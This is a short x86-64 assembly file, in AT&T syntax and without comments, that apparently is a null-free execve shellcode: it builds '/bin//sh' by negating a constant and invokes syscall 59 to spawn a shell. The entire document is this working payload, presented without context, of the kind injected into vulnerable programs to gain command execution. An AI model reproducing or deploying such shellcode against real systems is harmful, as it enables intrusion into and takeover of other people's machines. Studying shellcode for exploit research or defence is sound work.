.text
.globl _start

_start:
xor    %eax,%eax
movabs $0xff978cd091969dd1,%rbx
neg    %rbx
push   %rbx
push   %rsp
pop    %rdi
cltd
push   %rdx
push   %rdi
push   %rsp
pop    %rsi
mov    $0x3b,%al
syscall